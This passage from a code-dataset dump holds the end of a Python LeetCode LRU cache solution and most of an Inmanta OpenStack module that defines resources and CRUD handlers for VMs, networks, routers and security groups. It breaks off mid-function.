__init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.capacity = capacity\n self.length = 0\n\n self.dic = {}\n self.nodes = {} # key\n self.head = LRUNode(None)\n self.tail = LRUNode(None)\n self.head.next = self.tail\n self.tail.prev = self.head\n\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key in self.dic.keys():\n t = self.nodes[key]\n tp = t.prev\n tn = t.next\n tp.next = tn\n tn.prev = tp\n\n h = self.head.next\n self.head.next = t\n h.prev = t\n t.next = h\n t.prev = self.head\n\n return self.dic[key]\n else:\n return -1\n\n\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: void\n \"\"\"\n\n if key in self.dic.keys():\n self.dic[key] = value\n t = self.nodes[key]\n tp = t.prev\n tn = t.next\n tp.next = tn\n tn.prev = tp\n\n h = self.head.next\n self.head.next = t\n h.prev = t\n t.next = h\n t.prev = self.head\n else:\n if self.length == self.capacity:\n d = self.tail.prev\n t = d.prev\n t.next = self.tail\n self.tail.prev = t\n self.dic.pop(d.val)\n self.nodes.pop(d.val)\n self.length -= 1\n\n self.dic[key] = value\n\n n = LRUNode(key)\n self.nodes[key] = n\n\n t = self.head.next\n self.head.next = n\n t.prev = n\n n.prev = self.head\n n.next = t\n self.length += 1\n\n def printList(self):\n p = self.head\n while p != None:\n print(p.val)\n p = p.next\n\nif __name__ == '__main__':\n cache = LRUCache(2)\n cache.put(2, 1)\n cache.put(1, 1)\n cache.put(2, 3)\n cache.put(4, 1)\n # print(cache.get(1))\n print(cache.get(1))\n print(cache.get(2))\n\n cache.printList()","sub_path":"LeetCode/A146.py","file_name":"A146.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"62086307","text":"\"\"\"\n Copyright 2017 Inmanta\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Contact: code@inmanta.com\n\"\"\"\n\nimport os\nimport traceback\nimport logging\nimport time\nimport datetime\nimport math\n\nfrom inmanta.execute import proxy, util\nfrom inmanta.resources import resource, PurgeableResource, ManagedResource\nfrom inmanta import resources\nfrom inmanta.agent import handler\nfrom inmanta.agent.handler import provider, SkipResource, cache, ResourcePurged, CRUDHandler\nfrom inmanta.export import dependency_manager\nfrom inmanta.plugins import plugin\n\nfrom neutronclient.common import exceptions\nfrom neutronclient.neutron import client as neutron_client\n\nfrom novaclient import client as nova_client\nimport novaclient.exceptions\n\nfrom keystoneauth1.identity import v3\nfrom keystoneauth1 import session\nfrom keystoneclient.v3 import client as keystone_client\n\nfrom glanceclient import client as glance_client\n\ntry:\n from keystoneclient.exceptions import NotFound\nexcept ImportError:\n from keystoneclient.openstack.common.apiclient.exceptions import NotFound\n\n# silence a logger\nloud_logger = logging.getLogger(\"requests.packages.urllib3.connectionpool\")\nloud_logger.propagate = False\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nIMAGES = {}\n\n@plugin\ndef find_image(provider: \"openstack::Provider\", os: \"std::OS\", name: \"string\"=None) -> \"string\":\n \"\"\"\n Search for an image that matches the given operating system. This plugin uses\n the os_distro and os_version tags of an image and the name and version attributes of\n the OS parameter.\n\n If multiple images match, the most recent image is returned.\n\n :param provider: The provider to query for an image\n :param os: The operating system and version (using os_distro and os_version metadata)\n :param name: An optional string that the image name should contain\n \"\"\"\n global IMAGES\n if provider.name not in IMAGES:\n auth = v3.Password(auth_url=provider.connection_url, username=provider.username,\n password=provider.password, project_name=provider.tenant,\n user_domain_id=\"default\", project_domain_id=\"default\")\n sess = session.Session(auth=auth)\n client = glance_client.Client(\"2\", session=sess)\n\n IMAGES[provider.name] = list(client.images.list())\n\n selected = (datetime.datetime(1900, 1, 1), None)\n for image in IMAGES[provider.name]:\n # only images that are public\n if (\"image_location\" not in image and image[\"visibility\"] == \"public\") and \\\n (\"os_distro\" in image and \"os_version\" in image) and \\\n (image[\"os_distro\"].lower() == os.name.lower() and image[\"os_version\"].lower() == str(os.version).lower()) and \\\n (name is None or name in image[\"name\"]):\n t = datetime.datetime.strptime(image[\"updated_at\"], \"%Y-%m-%dT%H:%M:%SZ\")\n if t > selected[0]:\n selected = (t, image)\n\n if len(selected) < 2 or selected[1][\"id\"] is None:\n raise Exception(\"No image found for os %s and version %s\" % (os.name, os.version))\n\n return selected[1][\"id\"]\n\nFLAVORS = {}\n\n@plugin\ndef find_flavor(provider: \"openstack::Provider\", vcpus: \"number\", ram: \"number\", pinned: \"bool\"=False) -> \"string\":\n \"\"\"\n Find the flavor that matches the closest to the resources requested.\n\n :param vcpus: The number of virtual cpus in the flavor\n :param ram: The amount of ram in megabyte\n :param pinned: Wether the CPUs need to be pinned (#vcpu == #pcpu)\n \"\"\"\n global FLAVORS\n if provider.name not in FLAVORS:\n auth = v3.Password(auth_url=provider.connection_url, username=provider.username,\n password=provider.password, project_name=provider.tenant,\n user_domain_id=\"default\", project_domain_id=\"default\")\n sess = session.Session(auth=auth)\n client = nova_client.Client(\"2.1\", session=sess)\n\n FLAVORS[provider.name] = list(client.flavors.list())\n\n selected = (1000000, None)\n for flavor in FLAVORS[provider.name]:\n keys = flavor.get_keys()\n is_pinned = \"hw:cpu_policy\" in keys and keys[\"hw:cpu_policy\"] == \"dedicated\"\n if is_pinned ^ pinned:\n continue\n\n d_cpu = flavor.vcpus - vcpus\n d_ram = (flavor.ram / 1024) - ram\n distance = math.sqrt(math.pow(d_cpu, 2) + math.pow(d_ram, 2))\n if d_cpu >= 0 and d_ram >= 0 and distance < selected[0]:\n selected = (distance, flavor)\n\n return selected[1].name\n\n\nclass OpenstackResource(PurgeableResource, ManagedResource):\n fields = (\"project\", \"admin_user\", \"admin_password\", \"admin_tenant\", \"auth_url\")\n\n @staticmethod\n def get_project(exporter, resource):\n return resource.project.name\n\n @staticmethod\n def get_admin_user(exporter, resource):\n return resource.provider.username\n\n @staticmethod\n def get_admin_password(exporter, resource):\n return resource.provider.password\n\n @staticmethod\n def get_admin_tenant(exporter, resource):\n return resource.provider.tenant\n\n @staticmethod\n def get_auth_url(exporter, resource):\n return resource.provider.connection_url\n\n\n@resource(\"openstack::VirtualMachine\", agent=\"provider.name\", id_attribute=\"name\")\nclass VirtualMachine(OpenstackResource):\n \"\"\"\n A virtual machine managed by a hypervisor or IaaS\n \"\"\"\n fields = (\"name\", \"flavor\", \"image\", \"key_name\", \"user_data\", \"key_value\", \"ports\", \"security_groups\", \"config_drive\")\n\n @staticmethod\n def get_key_name(exporter, vm):\n return vm.key_pair.name\n\n @staticmethod\n def get_key_value(exporter, vm):\n return vm.key_pair.public_key\n\n @staticmethod\n def get_user_data(exporter, vm):\n \"\"\"\n Return an empty string when the user_data value is unknown\n TODO: this is a hack\n \"\"\"\n try:\n ua = vm.user_data\n except proxy.UnknownException:\n ua = \"\"\n return ua\n\n @staticmethod\n def get_ports(_, vm):\n ports = []\n for p in vm.ports:\n port = {\"name\": p.name, \"address\": None, \"network\": p.subnet.name, \"dhcp\": p.dhcp, \"index\": p.port_index}\n try:\n port[\"address\"] = p.address\n except proxy.UnknownException:\n pass\n ports.append(port)\n\n return ports\n\n @staticmethod\n def get_security_groups(_, vm):\n return [v.name for v in vm.security_groups]\n\n\n@resource(\"openstack::Network\", agent=\"provider.name\", id_attribute=\"name\")\nclass Network(OpenstackResource):\n \"\"\"\n This class represents a network in neutron\n \"\"\"\n fields = (\"name\", \"external\", \"physical_network\", \"network_type\", \"segmentation_id\")\n\n\n@resource(\"openstack::Subnet\", agent=\"provider.name\", id_attribute=\"name\")\nclass Subnet(OpenstackResource):\n \"\"\"\n This class represent a subnet in neutron\n \"\"\"\n fields = (\"name\", \"network_address\", \"dhcp\", \"allocation_start\", \"allocation_end\", \"network\", \"dns_servers\")\n\n @staticmethod\n def get_network(_, subnet):\n return subnet.network.name\n\n\n@resource(\"openstack::Router\", agent=\"provider.name\", id_attribute=\"name\")\nclass Router(OpenstackResource):\n \"\"\"\n This class represent a router in neutron\n \"\"\"\n fields = (\"name\", \"subnets\", \"gateway\", \"ports\", \"routes\")\n\n @staticmethod\n def get_gateway(_, router):\n if hasattr(router.ext_gateway, \"name\"):\n return router.ext_gateway.name\n\n return \"\"\n\n @staticmethod\n def get_routes(_, router):\n routes = {route.destination: route.nexthop for route in router.routes}\n return routes\n\n @staticmethod\n def get_subnets(_, router):\n return sorted([subnet.name for subnet in router.subnets])\n\n @staticmethod\n def get_ports(_, router):\n return [p.name for p in router.ports]\n\n\n@resource(\"openstack::RouterPort\", agent=\"provider.name\", id_attribute=\"name\")\nclass RouterPort(OpenstackResource):\n \"\"\"\n A port in a router\n \"\"\"\n fields = (\"name\", \"address\", \"subnet\", \"router\", \"network\")\n\n @staticmethod\n def get_subnet(_, port):\n return port.subnet.name\n\n @staticmethod\n def get_network(_, port):\n return port.subnet.network.name\n\n @staticmethod\n def get_router(_, port):\n return port.router.name\n\n\n@resource(\"openstack::HostPort\", agent=\"provider.name\", id_attribute=\"name\")\nclass HostPort(OpenstackResource):\n \"\"\"\n A port in a router\n \"\"\"\n fields = (\"name\", \"address\", \"subnet\", \"host\", \"network\", \"portsecurity\", \"dhcp\", \"port_index\",\n \"retries\", \"wait\")\n\n @staticmethod\n def get_address(exporter, port):\n try:\n return port.address\n except proxy.UnknownException:\n return \"\"\n\n @staticmethod\n def get_subnet(_, port):\n return port.subnet.name\n\n @staticmethod\n def get_network(_, port):\n return port.subnet.network.name\n\n @staticmethod\n def get_host(_, port):\n return port.vm.name\n\n\n@resource(\"openstack::SecurityGroup\", agent=\"provider.name\", id_attribute=\"name\")\nclass SecurityGroup(OpenstackResource):\n \"\"\"\n A security group in an OpenStack tenant\n \"\"\"\n fields = (\"name\", \"description\", \"manage_all\", \"rules\", \"retries\", \"wait\")\n\n @staticmethod\n def get_rules(exporter, group):\n rules = []\n dedup = set()\n for rule in group.rules:\n json_rule = {\"protocol\": rule.ip_protocol,\n \"direction\": rule.direction}\n\n if rule.port > 0:\n json_rule[\"port_range_min\"] = rule.port\n json_rule[\"port_range_max\"] = rule.port\n\n else:\n json_rule[\"port_range_min\"] = rule.port_min\n json_rule[\"port_range_max\"] = rule.port_max\n\n if json_rule[\"port_range_min\"] == 0:\n json_rule[\"port_range_min\"] = None\n\n if json_rule[\"port_range_max\"] == 0:\n json_rule[\"port_range_max\"] = None\n\n try:\n json_rule[\"remote_ip_prefix\"] = rule.remote_prefix\n except Exception:\n pass\n\n try:\n json_rule[\"remote_group\"] = rule.remote_group.name\n except Exception:\n pass\n\n key = tuple(sorted(json_rule.items()))\n if key not in dedup:\n dedup.add(key)\n rules.append(json_rule)\n else:\n LOGGER.warning(\"A duplicate rule exists in security group %s\", group.name)\n\n return rules\n\n\n@resource(\"openstack::FloatingIP\", agent=\"provider.name\", id_attribute=\"name\")\nclass FloatingIP(OpenstackResource):\n \"\"\"\n A floating ip\n \"\"\"\n fields = (\"name\", \"port\", \"external_network\")\n\n @staticmethod\n def get_port(_, fip):\n return fip.port.name\n\n @staticmethod\n def get_external_network(_, fip):\n return fip.external_network.name\n\n\nclass KeystoneResource(PurgeableResource, ManagedResource):\n fields = (\"admin_token\", \"url\", \"admin_user\", \"admin_password\", \"admin_tenant\", \"auth_url\")\n\n @staticmethod\n def get_admin_token(_, resource):\n return resource.provider.token\n\n @staticmethod\n def get_url(_, resource):\n return os.path.join(resource.provider.admin_url, \"v2.0/\")\n\n @staticmethod\n def get_admin_user(exporter, resource):\n return resource.provider.username\n\n @staticmethod\n def get_admin_password(exporter, resource):\n return resource.provider.password\n\n @staticmethod\n def get_admin_tenant(exporter, resource):\n return resource.provider.tenant\n\n @staticmethod\n def get_auth_url(exporter, resource):\n return resource.provider.connection_url\n\n\n@resource(\"openstack::Project\", agent=\"provider.name\", id_attribute=\"name\")\nclass Project(KeystoneResource):\n \"\"\"\n This class represents a project in keystone\n \"\"\"\n fields = (\"name\", \"enabled\", \"description\")\n\n @staticmethod\n def get_project(exporter, resource):\n return resource.project.name\n\n\n@resource(\"openstack::User\", agent=\"provider.name\", id_attribute=\"name\")\nclass User(KeystoneResource):\n \"\"\"\n A user in keystone\n \"\"\"\n fields = (\"name\", \"email\", \"enabled\", \"password\")\n\n\n@resource(\"openstack::Role\", agent=\"provider.name\", id_attribute=\"role_id\")\nclass Role(KeystoneResource):\n \"\"\"\n A role that adds a user to a project\n \"\"\"\n fields = (\"role_id\", \"role\", \"project\", \"user\", \"project\")\n\n @staticmethod\n def get_project(exporter, resource):\n return resource.project.name\n\n @staticmethod\n def get_user(exporter, resource):\n return resource.user.name\n\n\n@resource(\"openstack::Service\", agent=\"provider.name\", id_attribute=\"name\")\nclass Service(KeystoneResource):\n \"\"\"\n A service for which endpoints can be registered\n \"\"\"\n fields = (\"name\", \"type\", \"description\")\n\n\n@resource(\"openstack::EndPoint\", agent=\"provider.name\", id_attribute=\"service_id\")\nclass EndPoint(KeystoneResource):\n \"\"\"\n An endpoint for a service\n \"\"\"\n fields = (\"region\", \"internal_url\", \"public_url\", \"admin_url\", \"service_id\")\n\n\n@dependency_manager\ndef openstack_dependencies(config_model, resource_model):\n projects = {}\n networks = {}\n routers = {}\n subnets = {}\n vms = {}\n ports = {}\n fips = {}\n sgs = {}\n router_map = {}\n\n for _, res in resource_model.items():\n if res.id.entity_type == \"openstack::Project\":\n projects[res.name] = res\n\n elif res.id.entity_type == \"openstack::Network\":\n networks[res.name] = res\n\n elif res.id.entity_type == \"openstack::Router\":\n routers[res.name] = res\n\n elif res.id.entity_type == \"openstack::Subnet\":\n subnets[res.name] = res\n\n elif res.id.entity_type == \"openstack::VirtualMachine\":\n vms[res.name] = res\n\n elif res.id.entity_type == \"openstack::HostPort\":\n ports[res.name] = res\n\n elif res.id.entity_type == \"openstack::FloatingIP\":\n fips[res.name] = res\n\n elif res.id.entity_type == \"openstack::SecurityGroup\":\n sgs[res.name] = res\n\n # they require the tenant to exist\n for network in networks.values():\n if network.model.project.name in projects:\n network.requires.add(projects[network.model.project.name])\n\n for router in routers.values():\n if router.model.project.name in projects:\n router.requires.add(projects[router.model.project.name])\n\n # depend on the attached subnets\n for subnet_name in router.subnets:\n if subnet_name in subnets:\n router.requires.add(subnets[subnet_name])\n\n # create external/subnet mapping\n router_map[(router.gateway, subnet_name)] = router\n\n if router.gateway in networks:\n router.requires.add(networks[router.gateway])\n\n for subnet in subnets.values():\n if subnet.model.project.name in projects:\n subnet.requires.add(projects[subnet.model.project.name])\n\n # also require the network it is attached to\n if subnet.model.network.name in networks:\n subnet.requires.add(networks[subnet.model.network.name])\n\n for vm in vms.values():\n if vm.model.project.name in projects:\n vm.requires.add(projects[vm.model.project.name])\n\n for port in vm.ports:\n if port[\"network\"] in subnets:\n vm.requires.add(subnets[port[\"network\"]])\n\n for sg in vm.security_groups:\n if sg in sgs:\n vm.requires.add(sgs[sg])\n\n for port in ports.values():\n if port.model.project.name in projects:\n port.requires.add(projects[port.model.project.name])\n\n if port.network in projects:\n port.requires.add(subnets[port.network])\n\n if port.host in vms:\n port.requires.add(vms[port.host])\n\n for fip in fips.values():\n if fip.external_network in networks:\n fip.requires.add(networks[fip.external_network])\n\n if fip.port in ports:\n port = ports[fip.port]\n fip.requires.add(port)\n\n # find router on which this floating ip is added\n key = (fip.external_network, port.subnet)\n if key in router_map:\n fip.requires.add(router_map[key])\n\n\nCRED_TIMEOUT = 600\nRESOURCE_TIMEOUT = 10\n\n\nclass OpenStackHandler(CRUDHandler):\n\n @cache(timeout=CRED_TIMEOUT)\n def get_session(self, auth_url, project, admin_user, admin_password):\n auth = v3.Password(auth_url=auth_url, username=admin_user, password=admin_password, project_name=project,\n user_domain_id=\"default\", project_domain_id=\"default\")\n sess = session.Session(auth=auth)\n return sess\n\n @cache(timeout=CRED_TIMEOUT)\n def get_nova_client(self, auth_url, project, admin_user, admin_password):\n return nova_client.Client(\"2.1\", session=self.get_session(auth_url, project, admin_user, admin_password))\n\n @cache(timeout=CRED_TIMEOUT)\n def get_neutron_client(self, auth_url, project, admin_user, admin_password):\n return neutron_client.Client(\"2.0\", session=self.get_session(auth_url, project, admin_user, admin_password))\n\n @cache(timeout=CRED_TIMEOUT)\n def get_keystone_client(self, auth_url, project, admin_user, admin_password):\n return keystone_client.Client(session=self.get_session(auth_url, project, admin_user, admin_password))\n\n def pre(self, ctx, resource):\n project = resource.admin_tenant\n self._nova = self.get_nova_client(resource.auth_url, project, resource.admin_user, resource.admin_password)\n self._neutron = self.get_neutron_client(resource.auth_url, project, resource.admin_user,\n resource.admin_password)\n self._keystone = self.get_keystone_client(resource.auth_url, project, resource.admin_user, resource.admin_password)\n\n def post(self, ctx, resource):\n self._nova = None\n self._neutron = None\n self._keystone = None\n\n def get_project_id(self, resource, name):\n \"\"\"\n Retrieve the id of a project based on the given name\n \"\"\"\n # Fallback for non admin users\n if resource.admin_tenant == name:\n session = self.get_session(resource.auth_url, resource.project, resource.admin_user, resource.admin_password)\n return session.get_project_id()\n\n try:\n project = self._keystone.projects.find(name=name)\n return project.id\n except Exception:\n raise\n\n def get_network(self, project_id, name=None, network_id=None):\n \"\"\"\n Retrieve the network id based on the name of the network\n \"\"\"\n query = {}\n if project_id is not None and network_id is None:\n query[\"tenant_id\"] = project_id\n\n if name is not None:\n query[\"name\"] = name\n elif network_id is not None:\n query[\"id\"] = network_id\n else:\n raise Exception(\"Either a name or an id needs to be provided.\")\n\n networks = self._neutron.list_networks(**query)\n if len(networks[\"networks\"]) == 0:\n return None\n\n elif len(networks[\"networks\"]) > 1:\n raise Exception(\"Found more than one network with name %s/id %s for project %s\" % (name, network_id, project_id))\n\n else:\n return networks[\"networks\"][0]\n\n def get_subnet(self, project_id, name=None, subnet_id=None):\n \"\"\"\n Retrieve the subnet id based on the name of the network\n \"\"\"\n if name is not None:\n subnets = self._neutron.list_subnets(tenant_id=project_id, name=name)\n elif subnet_id is not None:\n subnets = self._neutron.list_subnets(tenant_id=project_id, id=subnet_id)\n else:\n raise Exception(\"Either a name or an id needs to be provided.\")\n\n if len(subnets[\"subnets\"]) == 0:\n return None\n\n elif len(subnets[\"subnets\"]) > 1:\n raise Exception(\"Found more than one subnet with name %s for project %s\" % (name, project_id))\n\n else:\n return subnets[\"subnets\"][0]\n\n def get_router(self, project_id=None, name=None, router_id=None):\n \"\"\"\n Retrieve the router id based on the name of the network\n \"\"\"\n query = {}\n if project_id is not None:\n query[\"tenant_id\"] = project_id\n\n if name is not None:\n query[\"name\"] = name\n elif router_id is not None:\n query[\"id\"] = router_id\n else:\n raise Exception(\"Either a name or an id needs to be provided.\")\n\n routers = self._neutron.list_routers(**query)\n\n if len(routers[\"routers\"]) == 0:\n return None\n\n elif len(routers[\"routers\"]) > 1:\n raise Exception(\"Found more than one router with name %s for project %s\" % (name, project_id))\n\n else:\n return routers[\"routers\"][0]\n\n def get_host_id(self, project_id, name):\n return self.get_host(project_id, name).id\n\n def get_host(self, project_id, name):\n \"\"\"\n Retrieve the router id based on the name of the network\n \"\"\"\n vms = self._nova.servers.findall(name=name)\n\n if len(vms) == 0:\n return None\n\n elif len(vms) > 1:\n raise Exception(\"Found more than one VM with name %s for project %s\" % (name, project_id))\n\n else:\n return vms[0]\n\n def get_host_for_id(self, server_id):\n \"\"\"\n Retrieve the router id based on the name of the network\n \"\"\"\n vms = self._nova.servers.findall(id=server_id)\n\n if len(vms) == 0:\n return None\n\n elif len(vms) > 1:\n raise Exception(\"Found more than one VM with id %s\" % (server_id))\n\n else:\n return vms[0]\n\n def get_security_group(self, ctx, name=None, group_id=None):\n \"\"\"\n Get security group details from openstack\n \"\"\"\n if name is not None:\n sgs = self._neutron.list_security_groups(name=name)\n elif group_id is not None:\n sgs = self._neutron.list_security_groups(id=group_id)\n\n if len(sgs[\"security_groups\"]) == 0:\n return None\n elif len(sgs[\"security_groups\"]) > 1:\n ctx.warning(\"Multiple security groups with name %(name)s exist.\", name=name, groups=sgs[\"security_groups\"])\n\n return sgs[\"security_groups\"][0]\n\n\n@provider(\"openstack::VirtualMachine\", name=\"openstack\")\nclass VirtualMachineHandler(OpenStackHandler):\n @cache(timeout=10)\n def get_vm(self, ctx, resource):\n if resource.project == resource.admin_tenant:\n servers = self._nova.servers.list(search_opts={\"name\": resource.name})\n else:\n try:\n project_id = self.get_project_id(resource, resource.project)\n servers = self._nova.servers.list(search_opts={\"all_tenants\": True, \"tenant_id\": project_id,\n \"name\": resource.name})\n except Exception:\n ctx.exception(\"Unable to retrieve server list with a scoped login on project %(admin_project)s, \"\n \"for project %(project)s. This only works with admin credentials.\",\n admin_project=resource.admin_tenant, project=resource.project, traceback=traceback.format_exc())\n return None\n\n # OS query semantic are not == but \"in\". So \"mon\" matches mon and mongo\n # Filter again to ensure a correct result\n servers = [x for x in servers if x.name == resource.name]\n if len(servers) == 0:\n return None\n\n elif len(servers) == 1:\n return servers[0]\n\n else:\n raise Exception(\"Multiple virtual machines with name %s exist.\" % resource.name)\n\n @cache(timeout=10)\n def _port_id(self, port_name):\n ports = self._neutron.list_ports(name=port_name)\n if len(ports[\"ports\"]) > 0:\n return ports[\"ports\"][0][\"id\"]\n\n return None\n\n @cache(timeout=10)\n def _get_subnet_id(self, subnet_name):\n subnets = self._neutron.list_subnets(name=subnet_name)\n if len(subnets[\"subnets\"]) > 0:\n return subnets[\"subnets\"][0][\"network_id\"]\n\n return None\n\n def _create_nic_config(self, port):\n nic = {}\n port_id = self._port_id(port[\"name\"])\n if port_id is None:\n network = self._get_subnet_id(port[\"network\"])\n if network is None:\n raise SkipResource(\"Network %s not found\" % port[\"network\"])\n nic[\"net-id\"] = network\n if not port[\"dhcp\"] and port[\"address\"] is not None:\n nic[\"v4-fixed-ip\"] = port[\"address\"]\n else:\n nic[\"port-id\"] = port_id\n\n return nic\n\n def _build_nic_list(self, ports):\n # build a list of nics for this server based on the index in the ports\n no_sort = sorted([p for p in ports if p[\"index\"] == 0], key=lambda x: x[\"network\"])\n sort = sorted([p for p in ports if p[\"index\"] > 0], key=lambda x: x[\"index\"])\n\n return [self._create_nic_config(p) for p in sort] + [self._create_nic_config(p) for p in no_sort]\n\n def _build_sg_list(self, ctx, security_groups):\n sg_list = []\n for group in security_groups:\n sg = self.get_security_group(ctx, name=group)\n if sg is not None:\n sg_list.append(sg[\"name\"])\n return sg_list\n\n def _ensure_key(self, ctx, resource):\n keys = {k.name: k for k in self._nova.keypairs.list()}\n if resource.key_name not in keys:\n self._nova.keypairs.create(resource.key_name, resource.key_value)\n ctx.info(\"Created a new keypair with name %(name)s\", name=resource.key_name)\n\n def read_resource(self, ctx, resource):\n \"\"\"\n This method will check what the status of the give resource is on\n openstack.\n \"\"\"\n server = self.get_vm(ctx, resource)\n if server is None:\n raise ResourcePurged()\n\n else:\n resource.purged = False\n resource.security_groups = [sg.name for sg in server.list_security_group()]\n # The port handler has to handle all network/port related changes\n\n ctx.set(\"server\", server)\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n if resource.admin_tenant != resource.project:\n ctx.error(\"The nova API does not allow to create virtual machines in an other project than the one logged into.\"\n \" Current login %(admin_project)s, requested project %(project)s\",\n admin_project=resource.admin_tenant, project=resource.project)\n raise Exception()\n\n self._ensure_key(ctx, resource)\n flavor = self._nova.flavors.find(name=resource.flavor)\n nics = self._build_nic_list(resource.ports)\n self._nova.servers.create(resource.name, flavor=flavor.id, userdata=resource.user_data, nics=nics,\n security_groups=self._build_sg_list(ctx, resource.security_groups),\n image=resource.image, key_name=resource.key_name, config_drive=resource.config_drive)\n ctx.set_created()\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n server = ctx.get(\"server\")\n server.delete()\n\n # Wait until the server has been deleted\n count = 0\n ctx.info(\"Server deleted, waiting for neutron to report all ports deleted.\")\n while server is not None and count < 60:\n ports = self._neutron.list_ports(device_id=server.id)\n if len(ports[\"ports\"]) > 0:\n time.sleep(1)\n count += 1\n else:\n server = None\n\n if server is not None:\n ctx.warning(\"Delete still in progress, giving up waiting.\")\n\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n server = ctx.get(\"server\")\n\n self._ensure_key(ctx, resource)\n if \"security_groups\" in changes:\n current = set(changes[\"security_groups\"][\"current\"])\n desired = set(changes[\"security_groups\"][\"desired\"])\n\n for new_rule in (desired - current):\n self._nova.servers.add_security_group(server, new_rule)\n\n for remove_rule in (current - desired):\n self._nova.servers.remove_security_group(server, remove_rule)\n\n ctx.set_updated()\n\n def facts(self, ctx, resource):\n ctx.debug(\"Finding facts for %s\" % resource.id.resource_str())\n\n try:\n vm = self.get_vm(ctx, resource)\n\n networks = vm.networks\n\n facts = {}\n for name, ips in networks.items():\n for i in range(len(ips)):\n facts[\"subnet_%s_ip_%d\" % (name, i)] = ips[i]\n if i == 0:\n facts[\"subnet_%s_ip\" % name] = ips[i]\n\n # Get the private ip of the first port\n project_id = self.get_project_id(resource, resource.project)\n network_one = None\n for port in resource.ports:\n if port[\"index\"] == 1:\n network_one = port[\"network\"]\n\n if project_id is not None and network_one is not None:\n ports = self._neutron.list_ports(device_id=vm.id)\n for port in ports[\"ports\"]:\n for ips in port[\"fixed_ips\"]:\n subnet = self.get_subnet(project_id, subnet_id=ips[\"subnet_id\"])\n if subnet[\"name\"] == network_one:\n facts[\"ip_address\"] = ips[\"ip_address\"]\n\n return facts\n except Exception:\n return {}\n\n\n@provider(\"openstack::Network\", name=\"openstack\")\nclass NetworkHandler(OpenStackHandler):\n def read_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource):\n network = self.facts(ctx, resource)\n\n if len(network) > 0:\n resource.purged = False\n resource.external = network[\"router:external\"]\n if resource.physical_network != \"\":\n resource.physical_network = network[\"provider:physical_network\"]\n\n if resource.network_type != \"\":\n resource.network_type = network[\"provider:network_type\"]\n\n if resource.segmentation_id > 0:\n resource.segmentation_id = network[\"provider:segmentation_id\"]\n\n ctx.set(\"network_id\", network[\"id\"])\n ctx.set(\"project_id\", network[\"tenant_id\"])\n\n else:\n raise ResourcePurged()\n\n def _create_dict(self, resource: Network, project_id):\n net = {\"name\": resource.name, \"tenant_id\": project_id, \"admin_state_up\": True, \"router:external\": resource.external}\n\n if resource.physical_network != \"\":\n net[\"provider:physical_network\"] = resource.physical_network\n\n if resource.network_type != \"\":\n net[\"provider:network_type\"] = resource.network_type\n\n if resource.segmentation_id > 0:\n net[\"provider:segmentation_id\"] = resource.segmentation_id\n\n return net\n\n def create_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource):\n project_id = self.get_project_id(resource, resource.project)\n self._neutron.create_network({\"network\": self._create_dict(resource, project_id)})\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource):\n network_id = ctx.get(\"network_id\")\n self._neutron.delete_network(network_id)\n ctx.set_purged()\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: resources.PurgeableResource):\n network_id = ctx.get(\"network_id\")\n self._neutron.update_network(network_id, {\"network\": {\"name\": resource.name, \"router:external\": resource.external}})\n\n ctx.fields_updated((\"name\", \"external\"))\n ctx.set_updated()\n\n def facts(self, ctx, resource: Network):\n try:\n networks = self._neutron.list_networks(name=resource.name)[\"networks\"]\n except NotFound:\n return {}\n\n if len(networks) == 0:\n return {}\n\n if len(networks) > 1:\n LOGGER.warning(\"Multiple networks with the same name available!\")\n return {}\n\n return networks[0]\n\n\n@provider(\"openstack::Router\", name=\"openstack\")\nclass RouterHandler(OpenStackHandler):\n def read_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n neutron_version = self.facts(ctx, resource)\n\n if len(neutron_version) > 0:\n ctx.set(\"neutron\", neutron_version)\n resource.purged = False\n\n else:\n raise ResourcePurged()\n\n # get a list of all attached subnets\n ext_name = \"\"\n external_net_id = \"\"\n if \"external_gateway_info\" in neutron_version and neutron_version[\"external_gateway_info\"] is not None:\n external_net_id = neutron_version[\"external_gateway_info\"][\"network_id\"]\n\n networks = self._neutron.list_networks(id=external_net_id)\n if len(networks[\"networks\"]) == 1:\n ext_name = networks[\"networks\"][0][\"name\"]\n\n resource.gateway = ext_name\n\n ports = self._neutron.list_ports(device_id=neutron_version[\"id\"])\n subnet_list = []\n for port in ports[\"ports\"]:\n subnets = port[\"fixed_ips\"]\n if port[\"name\"] == \"\" or port[\"name\"] not in resource.ports:\n for subnet in subnets:\n try:\n subnet_details = self._neutron.show_subnet(subnet[\"subnet_id\"])[\"subnet\"]\n # skip external networks and neutron networks such as ha networks\n if subnet_details[\"network_id\"] != external_net_id and subnet_details[\"tenant_id\"] != \"\":\n subnet_list.append(subnet_details[\"name\"])\n\n except exceptions.NeutronClientException:\n pass\n\n resource.subnets = sorted(subnet_list)\n\n routes = {}\n for route in neutron_version[\"routes\"]:\n routes[route[\"destination\"]] = route[\"nexthop\"]\n\n resource.routes = routes\n\n def create_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n project_id = self.get_project_id(resource, resource.project)\n if project_id is None:\n raise SkipResource(\"Cannot create network when project id is not yet known.\")\n\n result = self._neutron.create_router({\"router\": {\"name\": resource.name, \"tenant_id\": project_id}})\n router_id = result[\"router\"][\"id\"]\n ctx.info(\"Created router with id %(id)s\", id=router_id)\n ctx.set_created()\n\n if len(resource.subnets) > 0:\n 